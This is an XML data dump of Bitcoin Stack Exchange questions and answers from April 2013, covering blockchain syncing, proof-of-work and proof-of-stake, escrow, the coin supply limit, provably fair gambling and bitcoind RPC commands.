  <row Id="9064" PostTypeId="2" ParentId="9060" CreationDate="2013-04-03T18:10:49.597" Score="1" Body="&lt;p&gt;You need to start at the &lt;a href=&quot;https://en.bitcoin.it/wiki/Genesis_block&quot; rel=&quot;nofollow&quot;&gt;Genesis block&lt;/a&gt; so you can't go back in time. And like Nick wrote, then the bitcoin-qt client has a list of &quot;checkpoint&quot; blocks which is hardcoded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the &quot;correct blockchain&quot; is defined by the one with the most work behind it (starting at the Genesis block ofc), so if you can see just one IP with the 'not-fake' blockchain, then he can prove that the millions of IP's you can see (the botnet) has a 'fake' blockchain.&lt;/p&gt;&#xA;" OwnerUserId="2785" LastActivityDate="2013-04-03T18:10:49.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9066" PostTypeId="2" ParentId="8909" CreationDate="2013-04-03T18:26:14.673" Score="1" Body="&lt;p&gt;The litecoin wiki on github lists &lt;a href=&quot;https://github.com/litecoin-project/litecoin/wiki/List-of-Litecoin-related-services#block-explorers&quot; rel=&quot;nofollow&quot;&gt;block explorer sites&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The explorer.litecoin.net &lt;a href=&quot;http://explorer.litecoin.net/q&quot; rel=&quot;nofollow&quot;&gt;API&lt;/a&gt; seems to be what you are searching for, the corresponding difficulty could be retrieved by using the &lt;code&gt;nethash&lt;/code&gt; command of the API. The specific page you are looking for should be &lt;a href=&quot;http://explorer.litecoin.net/chain/Litecoin/q/nethash/1/-1&quot; rel=&quot;nofollow&quot;&gt;this URL&lt;/a&gt;, see my comment for further explanations.&lt;/p&gt;&#xA;" OwnerUserId="3795" LastEditorUserId="3795" LastEditDate="2013-04-05T07:34:28.917" LastActivityDate="2013-04-05T07:34:28.917" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9067" PostTypeId="1" CreationDate="2013-04-03T18:34:38.850" Score="3" ViewCount="865" Body="&lt;p&gt;Bitcoin's blockchain is basicly just a mechanism to record timestamped entries. Bitcoin uses it as a transaction ledger, but it could be used for many other things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, one could create a chain for a decentral chess-game, where each move is an entry in the blockchain. All nodes can verify if the players turns are by the book, and in the correct order, and decide who is the winner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone think of other examples of alternative chains?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2013-04-03T21:19:17.193" LastActivityDate="2013-05-03T22:10:36.680" Title="Alternative uses of a blockchain-mechanism?" Tags="|blockchain|protocol|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9068" PostTypeId="1" CreationDate="2013-04-03T18:45:11.593" Score="39" ViewCount="37982" Body="&lt;p&gt;I read the &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot;&gt;full api method list&lt;/a&gt; and did not seem to find one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose there is no command specifically for that purpose, so what is the general way of doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would consider checking the time stamp of the last generated block, but the &lt;code&gt;getblock&lt;/code&gt; method is not really explained in much detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some people answer that I should compare the block count with one of an online block chain monitor. That is not really a practical solution. &lt;em&gt;The Bitcoin-Qt client has a way of knowing when syncing is done (the V-sign vs the syncing icon), so why doesn't bitcoind?&lt;/em&gt; &lt;strong&gt;How does the Bitcoin-Qt get this information?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="1307" LastEditDate="2013-05-01T00:59:04.080" LastActivityDate="2023-10-28T16:06:25.483" Title="How to check if the block chain is up to date using bitcoind or json-rpc?" Tags="|blockchain|bitcoind|json-rpc|" AnswerCount="11" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9069" PostTypeId="1" CreationDate="2013-04-03T18:56:10.290" Score="1" ViewCount="69" Body="&lt;p&gt;unconfirmed transaction - be3744d2be312e2e51ed6ac8f8ec5ea5695978ac5f729c52985191b1739cdbca&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/be3744d2be312e2e51ed6ac8f8ec5ea5695978ac5f729c52985191b1739cdbca&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/be3744d2be312e2e51ed6ac8f8ec5ea5695978ac5f729c52985191b1739cdbca&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem  - unconfirmed transaction &lt;/p&gt;&#xA;&#xA;&lt;p&gt;cause    - probably because no fees were attached&lt;/p&gt;&#xA;&#xA;&lt;p&gt;solution - ???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Satoshi client (BitcoinQt) is in-sync. Its been over 5 hrs now. Any solution will be appreciated. Unfortunately, I did not back up before i made this transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE - I uploaded the private key onto blockchain to see a shocking new low balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After checking I realized that there was a problem with another tx as well. I sent out 50BTC but 89.68 was deducted &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Status: 53 confirmations&#xA;Date: 4/3/13 14:51&#xA;To: 1JFxQV9eGesx6hn5jLSgdXKPquQLnNF9Cx&#xA;Debit: -50.00 BTC&#xA;Net amount: -50.00 BTC&#xA;Transaction ID: b17bbdd1b9dedbcff9ece48dd0feee7b8f210061f711b8e1d7d8c39c499f4660&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/b17bbdd1b9dedbcff9ece48dd0feee7b8f210061f711b8e1d7d8c39c499f4660&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/b17bbdd1b9dedbcff9ece48dd0feee7b8f210061f711b8e1d7d8c39c499f4660&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get back the remainder? The other unconfirmed tx is still unconfirmed and has been over 10 hrs now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT - Problem solved guys, thanks.&lt;/p&gt;&#xA;" OwnerUserId="3882" LastEditorUserId="3882" LastEditDate="2013-04-05T09:14:55.440" LastActivityDate="2013-04-05T09:14:55.440" Title="How do i rectify a wrong tx and an unconfirmed transaction?" Tags="|transactions|unconfirmed-transactions|" AnswerCount="0" CommentCount="7" ClosedDate="2013-04-03T20:55:33.417" ContentLicense="CC BY-SA 3.0" />
  <row Id="9070" PostTypeId="2" ParentId="8976" CreationDate="2013-04-03T19:39:02.623" Score="6" Body="&lt;p&gt;The limitations on Ripple scalability are substantially the same as the limits of Bitcoin scalability. There are various minor differences, but they don't significantly change the picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ripple already has some scalability features that Bitcoin doesn't have yet, but Bitcoin can easily add them when it needs them. For example:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Ripple nodes don't need to keep history to process transactions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Ripple nodes can form &quot;clusters&quot; under common administration that divide the cryptographic work.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Ripple nodes can escalate the transaction fees they demand to forward transactions in response to load bursts.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;One difference is that Ripple's confirmation time can increase with load. In a sense, Bitcoin's confirmation time can increase with load too as you may need to wait longer to get a transaction in a block. But Ripple's consensus process can take longer if more nodes are participating in it or if a higher transaction level creates more disagreements that must be resolved in the consensus process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, consensus consistently takes about 2 seconds (which is the minimum). In simulations, the consensus process increases with the log of the number of trusted validators. 100 validators brings it to about 3 seconds. 1,000 validators increases it to about 4 seconds. 10,000 increases it to about 5 seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consensus time also increases, though by much less, with the transaction rate. Note that consensus time is just one factor in the time it takes to confirm a transaction, though as the network grows it will likely be the dominant factor.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-04-03T19:44:21.083" LastActivityDate="2013-04-03T19:44:21.083" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9071" PostTypeId="2" ParentId="9049" CreationDate="2013-04-03T19:41:44.280" Score="2" Body="&lt;p&gt;Essentially for each transaction that you want to initiate, you (or more specifically your client) indicate where you got the money from that you want to use for that transaction. These are called the inputs to your transaction. Your recipient (and actually every node on the network) then looks to make sure that you haven't spent that money from that transaction anywhere else. (This is the double spend issue that is referenced in another answer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's easy to implement efficiently because every synced bitcoin client has a complete list of all transactions. And they can index those transactions based on the transaction id so that they can very quickly lookup whether a transaction has already been spent or not. Or for that matter whether that transaction exists at all or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, if you tried to spend 10 BTC that you didn't really have, you would have to &quot;make up&quot; a fake transaction of where you got that 10BTC from. And any client on the network would instantly detect that your made up transaction didn't exist and refuse to propagate your new transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@Zim Brott&#xA;Actually this is a little different than a double spend problem the way I read it.&lt;/p&gt;&#xA;" OwnerUserId="3439" LastActivityDate="2013-04-03T19:41:44.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9072" PostTypeId="2" ParentId="9067" CreationDate="2013-04-03T20:08:07.620" Score="1" Body="&lt;p&gt;Provably fair games can utilize it. For example, Satoshi dice published the hash of their daily secretkey hash list in the blockchain. In that way, they can prove that they haven't altered they secret key list. Or you could do a simple &quot;guess a number&quot; game that kept an encrypted copy of the result in the blockchain. Later reveal the secret key and &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially any kind of system that relies on the escrow of a small amount of information could use the blockchain for that escrow. You could even use it to as a communication channel if your messages were small enough.&lt;/p&gt;&#xA;" OwnerUserId="3439" LastActivityDate="2013-04-03T20:08:07.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9073" PostTypeId="1" CreationDate="2013-04-03T20:20:30.397" Score="-1" ViewCount="215" Body="&lt;p&gt;I would like to purchace this notorious Pizza that is talked about , I would like that the bitcoin not be a come-on for a coupon for a pizza, but an actual pizza that I can eat?&#xA;Can I buy a Pizza directly and wholey without any additional cash or credit added  with a Bitcoin?  or only a virtual emptyness in my virtual stomach?&lt;/p&gt;&#xA;" OwnerUserId="3883" LastEditorUserId="3364" LastEditDate="2013-04-03T21:10:14.160" LastActivityDate="2013-10-18T12:16:09.073" Title="Where can I Buy any Single Pizza Using Bitcoins?" Tags="|ecommerce|merchants|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9074" PostTypeId="1" CreationDate="2013-04-03T20:32:58.457" Score="1" ViewCount="282" Body="&lt;p&gt;Many online Bitcoin gambling websites use the block chain info to prove fairness. Most of them use rather complex algorithms for this with pre-published secrets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What most of them basically achieve: &lt;strong&gt;Convert a block hash or a transaction hash to a number in a certain range.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the simplest way to do this in a fair way, verifiable by everyone? I would like to focus mostly on using block hashes, which are the least manipulable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a &lt;em&gt;simple way&lt;/em&gt; I'm looking for either a very simple mathematic way to do so or either a library which can do it for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that predefined secrets are required when transaction information is used, because these are easy for users to manipulate. Block information, on the other hand, is far less easy manipulable. If you want to generate a block with a hash that would make you win in the game, you would make the standard block generation problem even more difficult and you will have to do solo mining  which is already quite hard when doing regular mining. &#xA;So, are these secrets also required when using block information?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note that I am an engineering student myself so I will probably understand much cryptographic and mathematical terms, but the purpose of this question is of course to receive an answer that everyone can understand.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="1307" LastEditDate="2013-04-03T20:43:05.773" LastActivityDate="2013-05-03T23:10:36.697" Title="How to use block and transaction hashes for generating simple stochastic chances?" Tags="|blockchain|gambling|hash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9075" PostTypeId="2" ParentId="9073" CreationDate="2013-04-03T20:39:01.567" Score="1" Body="&lt;p&gt;You could just use &lt;a href=&quot;http://pizzaforcoins.com/&quot; rel=&quot;nofollow&quot;&gt;pizzaforcoins&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2312" LastEditorUserId="2306" LastEditDate="2013-04-03T21:26:30.680" LastActivityDate="2013-04-03T21:26:30.680" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9076" PostTypeId="1" CreationDate="2013-04-03T20:56:38.170" Score="0" ViewCount="1104" Body="&lt;p&gt;If you go to your Bitcoin-qt wallet, there is a list of all the transactions you have ever made, you can even see the transactions detals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, i cant find the way to get from bitcoind that same list. I want to know the transaction id of every transaction ever made in my wallet, there should be a way to get it since Bitcoin-qt has that list. Anyone knows?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="3418" LastActivityDate="2013-04-04T01:07:53.107" Title="How can i consult my transaction history via Bitcoind/JsonRPCClient?" Tags="|transactions|bitcoind|history|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9077" PostTypeId="1" AcceptedAnswerId="9262" CreationDate="2013-04-03T21:18:43.187" Score="16" ViewCount="25144" Body="&lt;p&gt;I want to get all my addresses - &lt;em&gt;including the auto-generated &quot;change&quot; addresses&lt;/em&gt; - from a running bitcoind somehow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't been able to do it in a simple way. &quot;getaddressesbyaccount&quot; and all the other API options are only listing the &quot;public&quot; addresses and sometimes few additional ones, but never the already used change addresses. Can I do that somehow?&lt;/p&gt;&#xA;" OwnerUserId="1760" LastActivityDate="2022-07-06T04:28:35.930" Title="How to get all addresses - including the &quot;change&quot; addresses - from bitcoind?" Tags="|bitcoind|address|change|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9078" PostTypeId="1" AcceptedAnswerId="9081" CreationDate="2013-04-03T21:19:57.790" Score="19" ViewCount="12060" Body="&lt;p&gt;Please explain the proof-of-work concept.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And how does it relate to Bitcoin mining in general, and to the proofs of work (aka shares) of mining pools?&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="5406" LastEditDate="2016-02-17T21:15:43.610" LastActivityDate="2023-10-07T17:04:24.073" Title="What is proof-of-work?" Tags="|proof-of-work|mining-theory|mining-pool-shares|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9079" PostTypeId="2" ParentId="9067" CreationDate="2013-04-03T21:21:07.963" Score="-1" Body="&lt;p&gt;Just a note: You cannot really add arbitrary things like text into blockchain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can &quot;comunicate&quot; by exact values and by bitcoin addresses, yes, but there is only so much that you can encode in that.&lt;/p&gt;&#xA;" OwnerUserId="1760" LastActivityDate="2013-04-03T21:21:07.963" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="9080" PostTypeId="2" ParentId="9074" CreationDate="2013-04-03T21:25:37.420" Score="1" Body="&lt;p&gt;Here's the way SatoshiDICE does it:&#xA;SatoshiDICE has &quot;secret keys&quot; for each day which they pre generated for the next 10 years. They published the hashes of those keys so you can verify they didn't change them. When a transaction comes in, they hash the transaction hash and the secret key for that day, then take the first two bytes of that. Then, a few days later, they publish the secret keys.&lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2013-04-03T21:25:37.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9081" PostTypeId="2" ParentId="9078" CreationDate="2013-04-03T21:28:57.603" Score="12" Body="&lt;p&gt;Bitcoin miners find a random number (called a &quot;Nonce&quot;) that when inserted into the current block makes the hash be below the current target. They then send that current block around the network and everyone checks their work (the proof-of-work) by hashing the block and checking if the result is below the current target. In mining pools, miners do the same thing, but the current target is much higher (so it's easier). When they find one of these, it's called &quot;mining a share&quot;. A small percentage of the &quot;shares&quot; will actually have a hash below the actual target, and the pool will make it's 25BTC profit, then distribute it out to the miners who found a share (normally using some über-complicated method to prevent cheating/pool hopping)&lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2013-04-03T21:28:57.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9082" PostTypeId="1" AcceptedAnswerId="9095" CreationDate="2013-04-03T21:30:42.827" Score="28" ViewCount="11839" Body="&lt;p&gt;As we know one of the important mechanisms of Bitcoin is proof-of-work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does the concept of proof-of-stake work? How does it differ from proof-of-work?&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="5406" LastEditDate="2016-02-15T17:57:01.440" LastActivityDate="2018-06-02T08:57:26.657" Title="What is proof-of-stake?" Tags="|proof-of-work|proof-of-stake|consensus|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9083" PostTypeId="1" AcceptedAnswerId="9084" CreationDate="2013-04-03T21:36:50.857" Score="3" ViewCount="300" Body="&lt;p&gt;Reading &lt;a href=&quot;http://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;the original Nakamoto paper&lt;/a&gt;, I cannot see any discussion or reference to the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/161/how-many-bitcoins-will-there-eventually-be&quot;&gt;upper bound on the number of bitcoins&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where is it specified that at most 21 million bitcoins will be minted?&lt;/p&gt;&#xA;" OwnerUserId="3837" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2013-04-03T21:42:51.373" Title="Where is the number of Bitcoins limit specified?" Tags="|reward-schedule|" AnswerCount="1" CommentCount="0" ClosedDate="2013-04-14T19:21:11.877" ContentLicense="CC BY-SA 3.0" />
  <row Id="9084" PostTypeId="2" ParentId="9083" CreationDate="2013-04-03T21:42:51.373" Score="3" Body="&lt;p&gt;Every 210000 blocks, the reward for mining that block halves. It started out at 50BTC and now it's at 25BTC. Eventually it'll get to zero and no more bitcoins will be made.&lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2013-04-03T21:42:51.373" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9085" PostTypeId="1" AcceptedAnswerId="9090" CreationDate="2013-04-03T21:44:17.050" Score="6" ViewCount="4857" Body="&lt;p&gt;The &lt;a href=&quot;http://bitcoin.org/bitcoin.pdf&quot; rel=&quot;noreferrer&quot;&gt;original Nakamoto paper&lt;/a&gt; states&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;routine escrow mechanisms could easily be implemented to protect buyers&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What is meant by &quot;routine escrow mechanisms&quot;?&lt;/p&gt;&#xA;" OwnerUserId="3837" LastEditorUserId="3837" LastEditDate="2014-01-05T18:02:57.237" LastActivityDate="2014-01-14T17:54:02.343" Title="What are &quot;routine escrow mechanisms&quot;?" Tags="|escrow|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9086" PostTypeId="1" AcceptedAnswerId="9087" CreationDate="2013-04-03T22:14:02.027" Score="2" ViewCount="325" Body="&lt;p&gt;Is there a theoretical upper bound on the number of possible wallets, similar to the upper bound of 21 million Bitcoins that can be generated?&lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2013-04-04T04:32:50.000" Title="Is there a limited number of Bitcoin wallets?" Tags="|wallet|reward-schedule|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9087" PostTypeId="2" ParentId="9086" CreationDate="2013-04-03T22:23:27.673" Score="3" Body="&lt;p&gt;I think you are talking about Bitcoin addresses, those are considered disposable, consider this; a simple computer constantly generating Bitcoin addresses will generate all possible combinations in 69 &lt;a href=&quot;http://en.wiktionary.org/wiki/tredecillion&quot; rel=&quot;nofollow&quot;&gt;tredecillion&lt;/a&gt; years.&lt;/p&gt;&#xA;" OwnerUserId="3418" LastEditorUserId="516" LastEditDate="2013-04-04T04:32:50.000" LastActivityDate="2013-04-04T04:32:50.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9089" PostTypeId="2" ParentId="557" CreationDate="2013-04-03T23:15:32.157" Score="1" Body="&lt;p&gt;I think multisignature transactions are a good escrow model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the surface, this doesn't seem to provide any protection - the seller could just tell the buyer, &quot;I'm taking 90% of the bitcoins. I'll give you 10%. If you refuse, neither of us will get anything.&quot; A perfectly rational actor would take that deal - but a human wouldn't, because they'd feel cheated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So essentially, multisignature escrow will work because humans are vindictive.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-04-03T23:15:32.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9090" PostTypeId="2" ParentId="9085" CreationDate="2013-04-03T23:19:34.723" Score="1" Body="&lt;p&gt;There are certain sorts of escrow that are very difficult to implement without a trusted party. For example, an escrow system that only sends along the payment when the seller has provided proof of shipping would be impossible without a trusted third party.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if we change the escrow system a little bit, then we can implement it without a third party. For example, suppose we say that the buyer and the seller merely need to agree about where the bitcoins are sent. &lt;em&gt;That&lt;/em&gt; is something that a decentralized network can check for.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-04-03T23:19:34.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9093" PostTypeId="2" ParentId="9029" CreationDate="2013-04-04T00:35:36.533" Score="1" Body="&lt;p&gt;Perhaps you're confused on what the purpose of a Block is, and why several blocks need to be confirmed before you can consider a transaction valid.  The traditional guidance is probably best stated as&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;A full confirmation requires: &amp;quot;One hour of compute time,or 6 blocks, whichever is greater.&amp;quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The goal in the Bitcoin network is to ensure that someone with a really powerful computer can't harm the rest of the network by creating double spends and invalidating past transactions.  Waiting for the entire populous of Bitcoin to run their computers for an hour pretty much guarantees that an attacker won't be able to undo your transaction.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Why was 10 minutes chosen as the delay between each block?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;It was chosen as a way to balance the following goals:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make the chain splits less frequent.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make the chain splits more manageable when they do split.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Confirm transactions as quickly as possible.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;A split chain does nothing but increase the overall time a transaction needs to confirm (assuming it's on the losing end of the split).  If chain splits happen too frequently then confidence in the system will decrease.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Do you want smaller blocks so your confirmation will happen sooner?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Decreasing confirmation time won't solve the issue.&lt;/p&gt;&#xA;&lt;p&gt;Furthermore, now that we have ASIC miners coming on board, and blocks are getting confirmed quicker, that doesn't really mean that your transactions are more reliable, it still means that you should wait more than 10 blocks before considering the transaction &amp;quot;safe&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Things will settle down in the future when the difficulty isn't skyrocketing to a new target, and at that point it will be OK to wait just 6 confirmations (assuming 6 confirmations = 1 hour)&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Sure, the selection of 10 is debatable, but a reasonable choice.&lt;/strong&gt;  But your idea of making a block every millisecond makes #1 and #2  (above) nearly impossible to manage.  Not to mention the &amp;quot;difficulty&amp;quot; selection, network propagation, and act of mining to meet a target all require 1 second at a minimum to complete.&lt;/p&gt;&#xA;&lt;p&gt;A valid reasonable value would be in the range of 5 to 15 minutes.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-04-04T00:35:36.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9094" PostTypeId="2" ParentId="9076" CreationDate="2013-04-04T00:45:37.343" Score="1" Body="&lt;p&gt;Wow, sorry guys, for some reason i checked like 3 times all of the Bitcoind commands and didn't see it, but here it is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;listtransactions [account] [count=10] [from=0]   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Returns up to [count] most recent transactions skipping the first [from] transactions for account [account]. If [account] not provided will return recent transaction from all accounts.&lt;/p&gt;&#xA;" OwnerUserId="3418" LastEditorUserId="2306" LastEditDate="2013-04-04T01:07:53.107" LastActivityDate="2013-04-04T01:07:53.107" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9095" PostTypeId="2" ParentId="9082" CreationDate="2013-04-04T02:16:04.443" Score="21" Body="&lt;p&gt;&lt;strong&gt;Proof of stake&lt;/strong&gt; is a proposed alternative to proof of work designed to increase network security. It's not currently implemented in the main chain (and would likely require a hard fork to implement), but alt currency &lt;a href=&quot;http://www.ppcoin.org/&quot;&gt;PPCoin&lt;/a&gt; features a hybrid proof-of-stake/proof-of-work system of sorts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With proof of work, the likelihood of mining a block is dependent on the work done by the miner, e.g. the number of hashes checked for validity by a CPU, GPU, FPGA, or ASIC. As such, over time, the blocks are split across miners proportionally to their relative hashrates. With proof of stake, blocks are split relative to current wealth, so someone possessing 1% of the bitcoins currently in existence could &quot;mine&quot; 1% of the proof of stake blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This proposed system has a few (theoretical) benefits relative to proof of work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Reduced long-term transaction fees&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When transaction fees form the majority of block rewards, with the current proof of work system, miners would be forced to require a &quot;minimum&quot; transaction fee if they wish to remain profitable, as they must utilize physical and costly resources (hardware, electricity, internet, etcetera) in order to mine blocks. Proof of stake has no such limitation, as solving blocks would require no physical resources whatsoever (apart from a computer running the Bitcoin software, which is essentially negligible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Decreased likelihood of a 51% attack&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the current proof of work system, an attacker need merely obtain over half the current network hashing capacity for a short amount of time to perform a so-called &quot;51% attack&quot;. With proof of stake, an attacker would need to obtain over half of the bitcoins in existence, a far more expensive and difficult feat. Moreover, performing a 51% attack and likely devaluing Bitcoin significantly wouldn't be all that appealing if you are so heavily vested into it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this is debatable. If a single entity could obtain, even temporarily, loans or other borrowed capital comprising over half the network, they could perform a 51% attack with very little input resources, and might well have good incentive to do so. Just as centralized or leasable hashpower dramatically increases the risk of a 51% attack on a proof of work system, centralized or borrowable wealth dramatically increases the risk of a 51% attack on a proof of stake system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Proof of stake was first formally proposed by forum user QuantumMechanic &lt;a href=&quot;https://bitcointalk.org/index.php?topic=27787.0&quot;&gt;here&lt;/a&gt;. Two at least somewhat complete implementation specifications have been released, one by Meni Rosenfeld and one by Cunicula; both are explained in detail on the &lt;a href=&quot;https://en.bitcoin.it/wiki/Proof_of_Stake&quot;&gt;proof of stake wiki page&lt;/a&gt;. Both are hybrid proof-of-stake/proof-of-work implementations, meaning that 51% of the total wealth &lt;em&gt;and&lt;/em&gt; 51% of the network hashpower would be required to create and maintain a fork. You can find the (unofficial) forum discussion thread &lt;a href=&quot;https://bitcointalk.org/index.php?topic=68213.0&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1171" LastEditorUserId="11092" LastEditDate="2013-12-26T16:33:31.013" LastActivityDate="2013-12-26T16:33:31.013" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
